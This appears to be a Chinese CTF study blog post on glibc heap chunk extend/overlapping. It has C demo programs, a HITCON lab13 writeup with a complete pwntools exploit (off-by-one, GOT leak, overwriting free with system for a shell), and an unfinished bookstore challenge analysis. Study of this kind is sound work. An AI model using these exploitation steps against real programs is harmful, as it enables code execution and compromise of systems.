用的是这个 peda-heap 插件

image.png

对 inuse 的 fastbin 进行 extend

  1. gcc -g 1.c
  2. int main(void)
  3. {
  4. void *ptr,*ptr1;
  5. ptr=malloc(0x10);//分配第一个0x10的chunk
  6. malloc(0x10);//分配第二个0x10的chunk
  7. *(long long *)((long long)ptr-0x8)=0x41;// 修改第一个块的size域
  8. free(ptr);
  9. ptr1=malloc(0x30);// 实现 extend,控制了第二个块的内容
  10. return 0;
  11. }

然后 gdb 调试,因为前面 gcc 带着 -g 的参数,所以可以直接 b 行号 下断点

当程序进行了两次 malloc 之后堆的情况是这样的

image.png

下面第九行对 chunk1 的 size 位进行修改,成了这样

image.png

对 chunk1 进行 free 操作之后,两个合为一个 0x40 大小的了😀

image.png

之后我们再去 malloc 0x30 的话得到的就是 chunk1 跟 chunk2 一起的那个了,我们就可以控制 chunk2 的内容

对 inuse 的 smallbin 进行 extend

  1. //gcc -g 2.c
  2. //注意把之前那个a.out给删掉
  3. int main()
  4. {
  5. void *ptr,*ptr1;
  6. ptr=malloc(0x80);//分配第一个 0x80 的chunk1
  7. malloc(0x10); //分配第二个 0x10 的chunk2
  8. malloc(0x10); //防止与top chunk合并
  9. *(int *)((int)ptr-0x8)=0xb1;
  10. free(ptr);
  11. ptr1=malloc(0xa0);
  12. }

由于这个例子的申请的 ptr 这个不在 fastbins 中,如果跟 top chunk 相邻,释放的时候会合并掉,所以后面加上一个 chunk,把他们隔离开,防止合并

分别在 11、12、13 行下断点,这是三次 malloc 结束之后的情况

image.png

这是修改之后的情况

image.png

这时候 free,因为不在 fastbin 范围里面,会放到 unsorted bins 中,可以注意到本来用来隔离的那一个 chunk 的 P 位被标为 0

image.png

这时候再 malloc 回来就能控制 chunk2 了

对 free 的 smallbin 进行 extend

  1. //gcc -g 3.c
  2. int main()
  3. {
  4. void *ptr,*ptr1;
  5. ptr=malloc(0x80);//分配第一个0x80的chunk1
  6. malloc(0x10);//分配第二个0x10的chunk2
  7. free(ptr);//首先进行释放,使得chunk1进入unsorted bin
  8. *(int *)((int)ptr-0x8)=0xb1;
  9. ptr1=malloc(0xa0);
  10. }

下好断点,两次 malloc 之后

image.png

free 之后,放入到 unsorted bins 中

image.png

对 size 位进行修改,然后再次 malloc 的时候就能对 chunk2 进行控制了

image.png

通过 extend 后向 overlapping

  1. //gcc -g 4.c
  2. int main()
  3. {
  4. void *ptr,*ptr1;
  5. ptr=malloc(0x10);//分配第1个 0x80 的chunk1
  6. malloc(0x10); //分配第2个 0x10 的chunk2
  7. malloc(0x10); //分配第3个 0x10 的chunk3
  8. malloc(0x10); //分配第4个 0x10 的chunk4
  9. *(int *)((int)ptr-0x8)=0x61;
  10. free(ptr);
  11. ptr1=malloc(0x50);
  12. }

四次 malloc 之后

image.png

修改之后成了这样子

image.png

free 之后

image.png

这时候再去 malloc 就能控制那几个堆块了

通过 extend 前向 overlapping

  1. //gcc -g 5.c
  2. int main(void)
  3. {
  4. void *ptr1,*ptr2,*ptr3,*ptr4;
  5. ptr1=malloc(128);//smallbin1
  6. ptr2=malloc(0x10);//fastbin1
  7. ptr3=malloc(0x10);//fastbin2
  8. ptr4=malloc(128);//smallbin2
  9. malloc(0x10);//防止与top合并
  10. free(ptr1);
  11. *(int *)((long long)ptr4-0x8)=0x90;//修改pre_inuse域
  12. *(int *)((long long)ptr4-0x10)=0xd0;//修改pre_size域
  13. free(ptr4);//unlink进行前向extend
  14. malloc(0x150);//占位块
  15. }

前面几次 malloc 之后

image.png

对 ptr1 进行 free 之后,可以看到 ptr2 的那个 p 位已经变成 0 了

image.png

修改之后

image.png

free 操作

image.png

HITCON Trainging lab13

实现了增删改查的功能,index 是从 0 开始的,结构是这样的:
一开始先会申请一个 0x10 的 chunk,用来存放申请的 heap 的大小和指针,然后后面才会申请要申请的 heap 的 chunk

image.png

有一个 off by one 的漏洞,heaparray[a1] 本来就是存的 size,加上了个 1,可不就是多写了一位

image.png

这是创建的时候的 size

image.png

可以通用来写下一个堆块的 size 字段,伪造 chunk 的大小,然后 overlapping 更改指针

free 函数的 got 表项的地址

image.png

通过 off by one 把下一个 chunk 的 size 位给改为 0x41,这里的 heap 申请的是 0x18,多出来的 0x8 会直接用下一个 chunk 的 prev_size,所以我们才能把下一个的 size 给覆盖掉

image.png

然后在释放的时候,我们释放了一个 0x40,一个 0x20,那么下一次申请的时候,要先申请 0x20 的结构体,所以会先在 0x603070 那个地方存放结构体,在 0x603050 这里放申请的 heap,而对 heap 写内容的时候恰好可以把结构体的内容给覆盖掉为 free 的 got 地址

p64(0) * 4 + p64(0x30) + p64(heap.got['free'])

image.png

这样,当 show 的时候展示的就是 free 的 got,拿到他以后可以用来计算 libc,另外,因为在刚刚申请的结构体中,内容现在指向的是 free 的 got,所以只要编辑内容就能够直接把 free 的 got 表里改成 system 的地址

然后之前我们已经把第 0 个 heap 的内容给改成了 /bin/sh,这时候只要 delete(0) 就能拿到 shell

  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. from pwn import *
  4. r = process('./heapcreator')
  5. heap = ELF('./heapcreator')
  6. libc = ELF('./libc.so.6')
  7. context.log_level = 'debug'
  8. def create(size, content):
  9. r.recvuntil(":")
  10. r.sendline("1")
  11. r.recvuntil(":")
  12. r.sendline(str(size))
  13. r.recvuntil(":")
  14. r.sendline(content)
  15. def edit(idx, content):
  16. r.recvuntil(":")
  17. r.sendline("2")
  18. r.recvuntil(":")
  19. r.sendline(str(idx))
  20. r.recvuntil(":")
  21. r.sendline(content)
  22. def show(idx):
  23. r.recvuntil(":")
  24. r.sendline("3")
  25. r.recvuntil(":")
  26. r.sendline(str(idx))
  27. def delete(idx):
  28. r.recvuntil(":")
  29. r.sendline("4")
  30. r.recvuntil(":")
  31. r.sendline(str(idx))
  32. free_got = 0x602018
  33. create(0x18, "dada") # 0
  34. create(0x10, "ddaa") # 1
  35. edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
  36. delete(1)
  37. create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free'])) #1
  38. show(1)
  39. r.recvuntil("Content : ")
  40. data = r.recvuntil("Done !")
  41. free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
  42. libc_base = free_addr - libc.symbols['free']
  43. log.success('libc base addr: ' + hex(libc_base))
  44. system_addr = libc_base + libc.symbols['system']
  45. edit(1, p64(system_addr))
  46. delete(0)
  47. r.interactive()

2015 hacklu bookstore

一个图书订购系统,但是只能订购两本书

先来看看它的结构,一上来就已经把两本书的 chunk 给分配好了(v6、v7),那个 dest 是用来存放一些消息的

image.png

在订购的时候,可以一直往里面输入(10 等同于 ‘\n’ ?),那么这里存在一个堆溢出

image.png

在删除的时候,没有置为 0,存在 UAF

image.png

在 submit 的时候,会先申请 0x140 大小的 chunk

image.png

然后进行一些列操作,主要作用是通过把前面的追加到刚刚申请的 0x140 的 chunk 中将两本书的内容一起打印出来

image.png

最后,在退出的时候还有一个格式化字符串漏洞

image.png

程序 submit 之后就退出了,没法重复操作,程序退出后会执行 .fini_array 地址处的函数,但是只能利用一次,我们可以通过格式化字符串来修改它为 main 函数的地址

哎,以后再看